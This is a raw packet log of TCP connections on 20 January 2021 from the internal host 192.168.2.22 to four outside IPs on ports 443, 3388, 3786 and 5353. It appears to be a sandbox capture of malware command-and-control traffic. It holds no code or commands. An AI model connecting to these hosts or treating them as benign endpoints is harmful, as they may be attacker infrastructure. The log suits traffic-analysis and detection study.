Jan 20, 2021 16:14:53.845730066 CET	49204	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:53.887114048 CET	49205	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:53.994752884 CET	443	49204	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:53.994856119 CET	49204	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:54.056977034 CET	3388	49205	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:54.057128906 CET	49205	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:54.057812929 CET	49205	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:54.227284908 CET	3388	49205	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:54.234112978 CET	3388	49205	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:54.234142065 CET	3388	49205	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:54.234244108 CET	49205	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:54.235538960 CET	49205	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:54.242165089 CET	49205	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:54.325903893 CET	49204	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:54.325973034 CET	49204	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:54.411823034 CET	3388	49205	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:54.412211895 CET	3388	49205	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:54.412291050 CET	49205	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:54.417764902 CET	49205	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:54.417936087 CET	49205	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:54.453525066 CET	443	49204	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:54.453629017 CET	49204	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:54.493513107 CET	443	49204	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:54.581233025 CET	443	49204	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:54.581259966 CET	443	49204	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:54.589027882 CET	3388	49205	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:54.589099884 CET	3388	49205	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:54.589194059 CET	49205	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:54.604263067 CET	49206	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:54.758647919 CET	3388	49205	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:54.787100077 CET	3786	49206	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:54.787255049 CET	49206	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:54.836256027 CET	443	49204	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:54.836278915 CET	443	49204	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:54.836391926 CET	49204	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:54.836728096 CET	49204	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:54.838668108 CET	49204	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:54.966022968 CET	443	49204	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:55.057566881 CET	49207	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:55.084790945 CET	3388	49205	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:55.084811926 CET	3388	49205	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:55.084954977 CET	49205	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:55.084984064 CET	49205	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:55.087152004 CET	49205	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:55.256633997 CET	3388	49205	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:55.292762995 CET	49208	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:55.352739096 CET	5353	49207	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:55.353346109 CET	49207	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:55.353853941 CET	49207	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:55.475729942 CET	3786	49208	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:55.475899935 CET	49208	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:55.484618902 CET	49208	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:55.650544882 CET	5353	49207	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:55.660526991 CET	5353	49207	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:55.660586119 CET	5353	49207	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:55.661818027 CET	49207	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:55.662760019 CET	49207	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:55.667340040 CET	3786	49208	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:55.704818964 CET	3786	49208	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:55.704881907 CET	3786	49208	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:55.705336094 CET	49208	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:55.707425117 CET	49208	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:56.297832012 CET	49207	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:56.298978090 CET	49208	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:56.487426996 CET	3786	49208	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:56.488276005 CET	49208	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:56.595989943 CET	5353	49207	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:56.596163034 CET	49207	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:56.817536116 CET	49208	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:56.817634106 CET	49208	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:57.001825094 CET	3786	49208	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:57.001975060 CET	49208	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:57.039434910 CET	3786	49208	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:57.184662104 CET	3786	49208	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:57.551441908 CET	3786	49208	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:57.551492929 CET	3786	49208	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:57.551599026 CET	49208	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:57.551645994 CET	49208	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:57.578516006 CET	49208	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:57.582611084 CET	49207	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:57.582700968 CET	49207	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:57.756517887 CET	49209	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:57.761296988 CET	3786	49208	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:57.876616001 CET	5353	49207	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:57.876748085 CET	49207	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:57.884166956 CET	443	49209	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:57.884324074 CET	49209	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:57.885246038 CET	49209	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:57.915932894 CET	5353	49207	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:58.013453960 CET	443	49209	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:58.035561085 CET	443	49209	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:58.035586119 CET	443	49209	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:58.035618067 CET	49209	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:58.035676003 CET	49209	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:58.040899992 CET	49209	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:58.170610905 CET	5353	49207	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:58.175374985 CET	443	49209	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:58.175456047 CET	49209	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:58.180805922 CET	49209	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:58.180911064 CET	49209	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:58.256304979 CET	49206	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:58.309138060 CET	443	49209	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:58.309295893 CET	49209	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:58.349379063 CET	443	49209	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:58.437377930 CET	443	49209	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:58.437478065 CET	443	49209	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:58.439284086 CET	3786	49206	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:58.469702959 CET	3786	49206	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:58.469734907 CET	3786	49206	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:58.469834089 CET	49206	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:58.471127033 CET	49206	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:58.694413900 CET	443	49209	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:58.694468021 CET	443	49209	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:58.694552898 CET	49209	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:58.696675062 CET	49209	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:58.696712971 CET	49209	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:58.753540993 CET	5353	49207	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:58.753580093 CET	5353	49207	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:58.753634930 CET	49207	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:58.755742073 CET	49207	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:58.755774021 CET	49207	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:58.763763905 CET	49206	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:58.824143887 CET	443	49209	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:58.848654032 CET	49210	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:58.942408085 CET	49211	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:58.953623056 CET	3786	49206	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:58.953708887 CET	49206	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:58.958925009 CET	49206	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:58.959006071 CET	49206	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:59.049751043 CET	5353	49207	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:59.111304045 CET	3388	49211	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:59.111429930 CET	49211	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:59.112099886 CET	49211	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:59.139677048 CET	5353	49210	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:59.139791012 CET	49210	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:59.140443087 CET	49210	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:59.141717911 CET	3786	49206	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:59.141820908 CET	49206	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:59.181581974 CET	3786	49206	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:59.281032085 CET	3388	49211	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:59.287740946 CET	3388	49211	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:59.287775040 CET	3388	49211	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:59.287823915 CET	49211	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:59.293082952 CET	49211	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:59.294408083 CET	49211	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:59.333564043 CET	3786	49206	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:59.430874109 CET	5353	49210	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:59.441899061 CET	5353	49210	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:59.441965103 CET	5353	49210	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:59.441989899 CET	49210	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:59.442028999 CET	49210	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:59.447360039 CET	49210	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:59.463360071 CET	3388	49211	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:59.463967085 CET	3388	49211	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:59.464021921 CET	49211	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:59.469161987 CET	49211	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:59.469300985 CET	49211	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:59.638108015 CET	3388	49211	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:59.638148069 CET	3388	49211	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:59.638221979 CET	49211	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:59.693262100 CET	3786	49206	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:59.693309069 CET	3786	49206	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:59.693355083 CET	49206	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:59.695100069 CET	49206	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:59.696654081 CET	49206	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:59.740919113 CET	5353	49210	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:59.741050959 CET	49210	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:59.750407934 CET	49210	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:59.750503063 CET	49210	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:59.807127953 CET	3388	49211	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:59.879353046 CET	3786	49206	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:59.910728931 CET	49212	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:00.038604021 CET	443	49212	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:00.038718939 CET	49212	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:00.041003942 CET	5353	49210	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:00.041112900 CET	49210	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:00.080374002 CET	5353	49210	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:00.129560947 CET	3388	49211	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:00.129590034 CET	3388	49211	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:00.129635096 CET	49211	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:00.129684925 CET	49211	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:00.131818056 CET	49211	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:00.300539017 CET	3388	49211	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:00.331501007 CET	5353	49210	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:00.344166040 CET	49212	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:00.472054005 CET	443	49212	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:00.493616104 CET	443	49212	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:00.493762970 CET	49212	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:00.493809938 CET	443	49212	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:00.493864059 CET	49212	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:00.500399113 CET	49212	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:00.629224062 CET	49213	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:00.636957884 CET	443	49212	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:00.637171030 CET	49212	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:00.666613102 CET	49212	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:00.666640997 CET	49212	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:00.794028997 CET	443	49212	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:00.794091940 CET	49212	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:00.808825970 CET	49203	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:00.809108019 CET	49203	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:00.812551022 CET	3786	49213	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:00.812618017 CET	49213	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:00.814877033 CET	49213	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:00.833843946 CET	443	49212	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:00.920135021 CET	5353	49210	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:00.920173883 CET	5353	49210	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:00.920228004 CET	49210	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:00.920989990 CET	49210	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:00.922019005 CET	443	49212	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:00.922049999 CET	443	49212	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:00.922422886 CET	49210	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:00.997999907 CET	3786	49213	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:01.014419079 CET	3786	49213	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:01.014523029 CET	3786	49213	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:01.014556885 CET	49213	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:01.014604092 CET	49213	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:01.026748896 CET	49213	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:01.034466028 CET	49214	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:01.100852966 CET	5353	49203	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:01.101002932 CET	49203	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:01.177103043 CET	443	49212	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:01.177155972 CET	443	49212	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:01.177606106 CET	49212	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:01.179591894 CET	49212	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:01.203536987 CET	3388	49214	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:01.203613043 CET	49214	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:01.204298019 CET	49214	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:01.212830067 CET	5353	49210	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:01.215526104 CET	3786	49213	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:01.215584040 CET	49213	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:01.220654964 CET	49213	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:01.220773935 CET	49213	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:01.302088976 CET	49215	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:01.307240963 CET	443	49212	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:01.373126030 CET	3388	49214	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:01.379914999 CET	3388	49214	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:01.379950047 CET	3388	49214	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:01.379988909 CET	49214	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:01.380624056 CET	49214	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:01.387542009 CET	49214	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:01.392515898 CET	5353	49203	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:01.404850006 CET	3786	49213	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:01.405013084 CET	49213	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:01.444365978 CET	3786	49213	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:01.556806087 CET	3388	49214	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:01.557265043 CET	3388	49214	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:01.557353973 CET	49214	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:01.562580109 CET	49214	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:01.562728882 CET	49214	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:01.588335991 CET	3786	49213	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:01.590394020 CET	5353	49215	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:01.590519905 CET	49215	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:01.591937065 CET	49215	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:01.731288910 CET	3388	49214	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:01.731364965 CET	3388	49214	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:01.731472015 CET	49214	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:01.880373955 CET	5353	49215	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:01.890392065 CET	5353	49215	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:01.890423059 CET	5353	49215	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:01.890583038 CET	49215	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:01.898225069 CET	49215	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:01.900476933 CET	3388	49214	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:01.961090088 CET	3786	49213	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:01.961113930 CET	3786	49213	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:01.961313963 CET	49213	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:01.961390972 CET	49213	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:01.963455915 CET	49213	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:01.980007887 CET	5353	49203	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:01.980036020 CET	5353	49203	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:01.980113029 CET	49203	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:01.981324911 CET	49203	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:01.983041048 CET	49203	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:02.066301107 CET	49216	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:02.094990969 CET	49217	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:02.147840977 CET	3786	49213	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:02.190128088 CET	5353	49215	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:02.190227985 CET	49215	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:02.193900108 CET	443	49216	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:02.193974018 CET	49216	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:02.195462942 CET	49215	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:02.195566893 CET	49215	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:02.196063995 CET	49216	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:02.218486071 CET	3388	49214	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:02.218508005 CET	3388	49214	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:02.218663931 CET	49214	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:02.220911026 CET	49214	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:02.264127016 CET	3388	49217	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:02.264214039 CET	49217	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:02.265013933 CET	49217	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:02.275109053 CET	5353	49203	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:02.323668003 CET	443	49216	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:02.329997063 CET	49218	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:02.345410109 CET	443	49216	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:02.345487118 CET	443	49216	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:02.345609903 CET	49216	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:02.345643997 CET	49216	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:02.354357004 CET	49216	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:02.390480995 CET	3388	49214	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:02.433895111 CET	3388	49217	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:02.440642118 CET	3388	49217	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:02.440670013 CET	3388	49217	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:02.440901995 CET	49217	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:02.449727058 CET	49217	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:02.483705044 CET	5353	49215	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:02.483812094 CET	49215	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:02.491651058 CET	443	49216	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:02.491739988 CET	49216	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:02.498578072 CET	49216	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:02.498688936 CET	49216	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:02.512989044 CET	3786	49218	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:02.513083935 CET	49218	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:02.513848066 CET	49218	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:02.618671894 CET	3388	49217	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:02.619259119 CET	3388	49217	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:02.619453907 CET	49217	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:02.623816013 CET	49217	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:02.623950005 CET	49217	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:02.626137972 CET	443	49216	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:02.626286030 CET	49216	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:02.666135073 CET	443	49216	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:02.696716070 CET	3786	49218	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:02.713630915 CET	3786	49218	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:02.713663101 CET	3786	49218	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:02.713815928 CET	49218	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:02.719317913 CET	49218	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:02.754112959 CET	443	49216	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:02.754137039 CET	443	49216	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:02.772119999 CET	5353	49215	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:02.792784929 CET	3388	49217	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:02.792818069 CET	3388	49217	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:02.792845011 CET	3388	49217	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:02.793035030 CET	49217	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:02.908390999 CET	3786	49218	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:02.908591032 CET	49218	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:02.925232887 CET	49218	3786	192.168.2.22	198.57.200.100
